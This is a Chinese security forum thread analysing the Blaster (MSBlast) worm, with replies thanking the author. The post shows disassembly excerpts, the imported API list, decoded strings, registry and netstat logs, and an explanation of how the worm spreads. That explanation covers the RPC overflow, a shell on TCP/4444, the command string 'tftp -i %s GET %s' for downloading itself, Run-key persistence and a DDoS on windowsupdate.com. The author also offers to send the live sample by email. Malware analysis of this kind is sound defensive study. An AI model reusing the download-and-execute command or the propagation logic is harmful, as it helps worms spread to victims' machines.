论坛: 病毒专区 标题: 利用DCOM RPC漏洞的冲击波病毒源代码,对汇编有兴趣的来看看! 复制本贴地址    
作者: syse [syse]    论坛用户   登录
近期,RPC漏洞是大家讨论最多的话题,我想也有不少“同道”中人,对这个漏洞的利用充满好奇,本着大家共同学习的目的把这个漏洞的攻击性代码公布,如下,希望大家讨论,同时,希望大家不要灌些无聊的水,多说点有用的!
利用W32dsm打开己脱壳的MSBlast.exe,可以从中分析病毒PE文件具体信息
************************************反汇编MSBlast.exe***************************************
Disassembly of File: msblast.exe                            *反汇编文件名称:msblast.exe
Code Offset = 00000400, Code Size = 00001458        *代码偏移量: 00000400,代码大小=00001458
Data Offset = 00001A00, Data Size = 0000088C        *数据偏移量: 00001A00,数据大小=0000088C

Number of Objects = 0004 (dec), Imagebase = 00400000h
*对象共计= 0004 (dec), 基地址 = 00400000h

   Object01: .text    RVA: 00001000 Offset: 00000400 Size: 00001458 Flags: 60000020
   Object02: .bss     RVA: 00003000 Offset: 00000000 Size: 00000000 Flags: C0000080
   Object03: .data    RVA: 00004000 Offset: 00001A00 Size: 0000088C Flags: C0000040
   Object04: .idata   RVA: 00005000 Offset: 00002400 Size: 000006C0 Flags: C0000060

*Object01: .text   相对虚拟地址: 00001000 偏移量: 00000400 大小: 00001458标记位: 60000020
*Object02: .bss    相对虚拟地址: 00003000 偏移量: 00000000 大小: 00000000标记位: C0000080
*Object03: .data   相对虚拟地址: 00004000 偏移量: 00001A00 大小: 0000088C标记位: C0000040
*Object04: .idata  相对虚拟地址: 00005000 偏移量: 00002400 大小: 000006C0标记位: C0000060
*文中含有*为解释部分仅供读者参考。
********************************************************************************************
    可以从以上的数据中获取病毒在内存中执行的数据,该病毒PE文件共分为4个区块,分别为text、bss、data、idata。脱壳后的病毒的入口点则为11CBh。

    MSBlast.exe病毒共调用5个DLL模块,53个Win32 API函数。5个DLL模块分别为KERNEL32.DLL、ADVAPI32.DLL、CRTDLL.DLL、WININET.DLL、WS2_32.DLL,53个Win32 API函数请参照以下反汇编数据。

********************************************************************************************
+++++++++++++++++++ IMPORTED FUNCTIONS ++++++++++++++++++
Number of Imported Modules =    5 (decimal)

   Import Module 001: KERNEL32.DLL
   Import Module 002: ADVAPI32.DLL
   Import Module 003: CRTDLL.DLL
   Import Module 004: WININET.DLL
   Import Module 005: WS2_32.DLL

+++++++++++++++++++ IMPORT MODULE DETAILS +++++++++++++++

   Import Module 001: KERNEL32.DLL

Addr:000053E8 hint(0000) Name: ExitProcess
Addr:000053F8 hint(0000) Name: ExitThread
Addr:00005408 hint(0000) Name: GetCommandLineA
Addr:0000541C hint(0000) Name: GetDateFormatA
Addr:00005430 hint(0000) Name: GetLastError
Addr:00005440 hint(0000) Name: GetModuleFileNameA
Addr:00005458 hint(0000) Name: GetModuleHandleA
Addr:0000546C hint(0000) Name: CloseHandle
Addr:0000547C hint(0000) Name: GetTickCount
Addr:0000548C hint(0000) Name: RtlUnwind
Addr:00005498 hint(0000) Name: CreateMutexA
Addr:000054A8 hint(0000) Name: Sleep
Addr:000054B0 hint(0000) Name: TerminateThread
Addr:000054C4 hint(0000) Name: CreateThread

   Import Module 002: ADVAPI32.DLL

Addr:000054D4 hint(0000) Name: RegCloseKey
Addr:000054E4 hint(0000) Name: RegCreateKeyExA
Addr:000054F8 hint(0000) Name: RegSetValueExA

   Import Module 003: CRTDLL.DLL

Addr:0000550C hint(0000) Name: __GetMainArgs
Addr:0000551C hint(0000) Name: atoi
Addr:00005524 hint(0000) Name: exit
Addr:0000552C hint(0000) Name: fclose
Addr:00005538 hint(0000) Name: fopen
Addr:00005540 hint(0000) Name: fread
Addr:00005548 hint(0000) Name: memcpy
Addr:00005554 hint(0000) Name: memset
Addr:00005560 hint(0000) Name: raise
Addr:00005568 hint(0000) Name: rand
Addr:00005570 hint(0000) Name: signal
Addr:0000557C hint(0000) Name: sprintf
Addr:00005588 hint(0000) Name: srand
Addr:00005590 hint(0000) Name: strchr
Addr:0000559C hint(0000) Name: strtok

   Import Module 004: WININET.DLL

Addr:000053CC hint(0000) Name: InternetGetConnectedState

   Import Module 005: WS2_32.DLL

Addr:000052C0 hint(0000) Name: htons
Addr:000052C8 hint(0000) Name: ioctlsocket
Addr:000052D8 hint(0000) Name: inet_addr
Addr:000052E4 hint(0000) Name: inet_ntoa
Addr:000052F0 hint(0000) Name: recvfrom
Addr:000052FC hint(0000) Name: select
Addr:00005308 hint(0000) Name: send
Addr:00005310 hint(0000) Name: sendto
Addr:0000531C hint(0000) Name: setsockopt
Addr:0000532C hint(0000) Name: socket
Addr:00005338 hint(0000) Name: gethostbyname
Addr:00005348 hint(0000) Name: bind
Addr:00005350 hint(0000) Name: gethostname
Addr:00005360 hint(0000) Name: closesocket
Addr:00005370 hint(0000) Name: WSAStartup
Addr:00005380 hint(0000) Name: WSACleanup
Addr:00005390 hint(0000) Name: connect
Addr:0000539C hint(0000) Name: getpeername
Addr:000053AC hint(0000) Name: getsockname
Addr:000053BC hint(0000) Name: WSASocketA

+++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++
Number of Exported Functions = 0000 (decimal)
********************************************************************************************

    看完以上Win32 API函数,你也许就明白了病毒调用那些API函数,如要不太熟API函数可以参阅MSDN获取更详细的资料。了解API函数针对病毒每个动作就会非常熟悉。

    以上的分析为反汇编分析,而以下部分是利用Winhex查看病毒十六进制。因为MSBlast.EXE病毒变种并没有广泛流传,所以以下十六进制的分析内容与其它安全厂商专业人员分析的基本吻合。

    
********************************************************************************************
49 20 6A 75 73 74 20 77 61 6E 74 20 74 6F 20 73 61 79 20 4C 4F 56 45 20 59 4F 55 20 53 41 4E 21 21 00 62 69 6C 6C 79 20 67 61 74 65 73 20 77 68 79 20 64 6F 20 79 6F 75 20 6D 61 6B 65 20 74 68 69 73 20 70 6F 73 73 69 62 6C 65 20 3F 20 53 74 6F 70 20 6D 61 6B 69 6E 67 20 6D 6F 6E 65 79 20 61 6E 64 20 66 69 78 20 79 6F 75 72 20 73 6F 66 74 77 61 72 65 21 21 00

*利用Winhex查看十六进制,发现偏移为00001A40的十六进制的ASCII转换为明文为:
I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!!
********************************************************************************************

********************************************************************************************
77 69 6E 64 6F 77 73 75 70 64 61 74 65 2E 63 6F 6D

*利用Winhex查看十六进制,发现偏移为000021E0的十六进制的ASCII转换为明文为:
windowsupdate.com
********************************************************************************************

********************************************************************************************
73 74 61 72 74 20 25 73 0A 00 74 66 74 70 20 2D 69 20 25 73 20 47 45 54 20 25 73

*利用Winhex查看十六进制。发现偏移为00002200的十六进制,其中%s为变量。ASCII转换为明文为:
start %s  tftp -i %s GET %s
********************************************************************************************

********************************************************************************************
77 69 6E 64 6F 77 73 20 61 75 74 6F 20 75 70 64 61 74 65 00 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 52 75 6E

*利用Winhex查看十六进制。发现偏移为00002250的十六进制的ASCII转换为明文为:
windows auto update SOFTWARE/Microsoft/Windows/CurrentVersion/Run
********************************************************************************************

开始跟踪
    写这部分需要将病毒运行,虽然我只有一台公司笔记本电脑,里面却包含8G从网络收集的资料。前几天我还是忍痛将病毒在自己的笔记本上调试,只为了更仔细的分析病毒。开始运行病毒之前要准备好监视工具,看病毒会修改注册表、新增文件、开启端口等。

    运行MSBlast.exe病毒之后,利用Regshot监视注册表发现新增1处键值,键值为msblast.exe。我在运行的时候将MSBlast.exe放在C盘目录下,然写键值仍为msblast.exe,下次开机MSBlast.exe则不会自动运行。说明作者编写病毒时候键值并不是写入exe当前文件路径,而是指向system32目录下。我在测试过程中是这样的情况。而被感染病毒之后,MSBlast.exe文件都复制到对方的system32目录下,每次开机都会运行。
********************************************************************************************
增加值:1
----------------------------------
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/windows auto update: 6D 73 62 6C 61 73 74 2E 65 78 65 00 49 20 6A 75 73 74 20 77 61 6E 74 20 74 6F 20 73 61 79 20 4C 4F 56 45 20 59 4F 55 20 53 41 4E 21 21 00 62 69 6C 6C
********************************************************************************************

    运行病毒之后创建mutex内核对象,病毒软件随机打开本地端口开始向外部IP发出20个syn扫描连接,    目标主机IP地址由病毒程式随机产生。
********************************************************************************************
TCP    192.168.0.23:4608      27.185.154.157:135     SYN_SENT
TCP    192.168.0.23:4609      27.185.154.158:135     SYN_SENT
TCP    192.168.0.23:4610      27.185.154.159:135     SYN_SENT
TCP    192.168.0.23:4611      27.185.154.160:135     SYN_SENT
TCP    192.168.0.23:4612      27.185.154.161:135     SYN_SENT
TCP    192.168.0.23:4613      27.185.154.162:135     SYN_SENT
TCP    192.168.0.23:4614      27.185.154.163:135     SYN_SENT
TCP    192.168.0.23:4615      27.185.154.164:135     SYN_SENT
TCP    192.168.0.23:4616      27.185.154.165:135     SYN_SENT
TCP    192.168.0.23:4617      27.185.154.166:135     SYN_SENT
TCP    192.168.0.23:4618      27.185.154.167:135     SYN_SENT
TCP    192.168.0.23:4619      27.185.154.168:135     SYN_SENT
TCP    192.168.0.23:4620      27.185.154.169:135     SYN_SENT
TCP    192.168.0.23:4621      27.185.154.170:135     SYN_SENT
TCP    192.168.0.23:4622      27.185.154.171:135     SYN_SENT
TCP    192.168.0.23:4623      27.185.154.172:135     SYN_SENT
TCP    192.168.0.23:4624      27.185.154.173:135     SYN_SENT
TCP    192.168.0.23:4625      27.185.154.174:135     SYN_SENT
TCP    192.168.0.23:4626      27.185.154.175:135     SYN_SENT
TCP    192.168.0.23:4627      27.185.154.176:135     SYN_SENT    
********************************************************************************************

    病毒反汇编代码中有一段代码是: tftp -i %s GET %s,此段代码用来下载病毒。默认情况下tftp的服务器开启的端口为UDP/69,如果病毒程序溢出目标主机成功之后会绑定目标主机一个4444的端口,然后发送下载消息,目标主机通过tftp下载病毒再运行病毒。反复循环导致更多的计算机受到感染。
攻击失败之后PRC服务会停止,文件复制贴粘功能失效,com+属性页无法显示。也有可能会造成svchost.exe进程被关闭,导致计算机重新启动。

深入分析
    1、利用W32dsm反汇编脱壳后的MSBlast.exe,阅读其汇编代码,发现汇编代码中包含病毒写入注册表键值的动作。
********************************************************************************************
* Referenced by a CALL at Address:
|:004022B0   

:00401250 55                      push ebp
:00401251 89E5                    mov ebp, esp
:00401253 81ECAC030000            sub esp, 000003AC
:00401259 56                      push esi
:0040125A 57                      push edi
:0040125B 31F6                    xor esi, esi
:0040125D 6A00                    push 00000000
:0040125F 8D45F8                  lea eax, dword ptr [ebp-08]
:00401262 50                      push eax
:00401263 6A00                    push 00000000
:00401265 683F000F00              push 000F003F
:0040126A 6A00                    push 00000000
:0040126C 6A00                    push 00000000
:0040126E 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"SOFTWARE/Microsoft/Windows/CurrentVersion/Run"   //写入自启动项
                                  |
:00401270 685D484000              push 0040485D
:00401275 6802000080              push 80000002

* Reference To: ADVAPI32.RegCreateKeyExA, Ord:0000h     //打开注册表主目录
                                  |
:0040127A E80D110000              Call 0040238C
:0040127F 6A32                    push 00000032

* Possible StringData Ref from Data Obj ->"msblast.exe"       //键值数据
                                  |
:00401281 683C404000              push 0040403C
:00401286 6A01                    push 00000001
:00401288 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"windows auto update"       //键值名称  
                                  |
:0040128A 6849484000              push 00404849
:0040128F FF75F8                  push [ebp-08]

* Reference To: ADVAPI32.RegSetValueExA, Ord:0000h       //写注册表项
                                  |
:00401292 E801110000              Call 00402398
:00401297 FF75F8                  push [ebp-08]

* Reference To: ADVAPI32.RegCloseKey, Ord:0000h        //关闭注册表
                                  |
:0040129A E8E1100000              Call 00402380
********************************************************************************************

    2、病毒向目标主机发动溢出攻击的反汇编代码,因汇编代码较多不能全部列出,如果你需要病毒样本及反汇编代码,可以给我写信。
********************************************************************************************
* Reference To: WS2_32.sendto, Ord:0000h    //发送
                                  |
:004016AC E8FB0A0000              Call 004021AC
:004016B1 83F801                  cmp eax, 00000001
:004016B4 7C22                    jl 004016D8
:004016B6 6884030000              push 00000384
………………………

* Reference To: WS2_32.send, Ord:0000h        //发送
                                  |
:00401B6D E82E060000              Call 004021A0
:00401B72 83F8FF                  cmp eax, FFFFFFFF
:00401B75 0F84C0020000            je 00401E3B
:00401B7B 6A00                    push 00000000
:00401B7D FFB5FCEFFFFF            push dword ptr [ebp+FFFFEFFC]
:00401B83 8D8500F0FFFF            lea eax, dword ptr [ebp+FFFFF000]
:00401B89 50                      push eax
:00401B8A FF7508                  push [ebp+08]

* Reference To: WS2_32.send, Ord:0000h        //发送        
                                  |
:00401B8D E80E060000              Call 004021A0
:00401B92 83F8FF                  cmp eax, FFFFFFFF
:00401B95 0F84A0020000            je 00401E3B
:00401B9B FF7508                  push [ebp+08]
………………………
* Reference To: WS2_32.send, Ord:0000h        //发送
                                  |
:00401D21 E87A040000              Call 004021A0
:00401D26 83F801                  cmp eax, 00000001
:00401D29 0F8CBC000000            jl 00401DEB
:00401D2F 68E8030000              push 000003E8
………………………
* Reference To: WS2_32.send, Ord:0000h        //发送
                                  |
:004021A0 FF25E0514000            Jmp dword ptr [004051E0]
:004021A6 90                      nop
:004021A7 90                      nop
:004021A8 00000000                BYTE  4 DUP(0)
………………………
* Reference To: KERNEL32.CreateMutexA, Ord:0000h        //创建Mutex内核对象
                                  |
:00402350 FF2554524000            Jmp dword ptr [00405254]
:00402356 90                      nop
:00402357 90                      nop
:00402358 00000000                BYTE  4 DUP(0)

*因病毒利用多线程技术,反汇编代码中包含较多Send代码,不能全部列出。但Call地址全部是 004021A0。
********************************************************************************************

    3、病毒如果溢出成功将向目标主机TCP/4444端口发送下载病毒自身的消息,本机开启UDP/69端口提供TFTP服务。用来感染更多的计算机。请参阅反汇编代码:
********************************************************************************************
* Possible StringData Ref from Data Obj ->"%i.%i.%i.%i"        //目标主机IP地址
                                  |
:00401803 682B484000              push 0040482B
:00401808 6800304000              push 00403000
………………………
* Possible StringData Ref from Data Obj ->"msblast.exe"        //程序文件名称
                                  |
:00401CE3 683C404000              push 0040403C
:00401CE8 6800304000              push 00403000

* Possible StringData Ref from Data Obj ->"tftp -i %s GET %s      //发送消息下载病毒
"        
                                  |
:00401CED 680C484000              push 0040480C
:00401CF2 8D85FCEDFFFF            lea eax, dword ptr [ebp+FFFFEDFC]
:00401CF8 50                      push eax
********************************************************************************************

    4、从汇编代码中分析病毒判断系统时期是否为16日,就会向微软windowsupdata.com发动DDOS攻击。请参阅汇编源代码。
********************************************************************************************


地主 发表时间: 08/25 14:19

回复: fqjpower [fqjpower]   论坛用户   登录
谢谢!向你学习!希望能多发一些这样的贴子!

B1层 发表时间: 08/25 16:25

回复: Achieve [achieve]   版主   登录
一看就是高手
希望流云兄常来20cn坐坐阿:)

B2层 发表时间: 08/26 04:37

回复: syse [syse]   论坛用户   登录
过讲,以后还请版主多指教!

B3层 发表时间: 08/26 11:01

论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号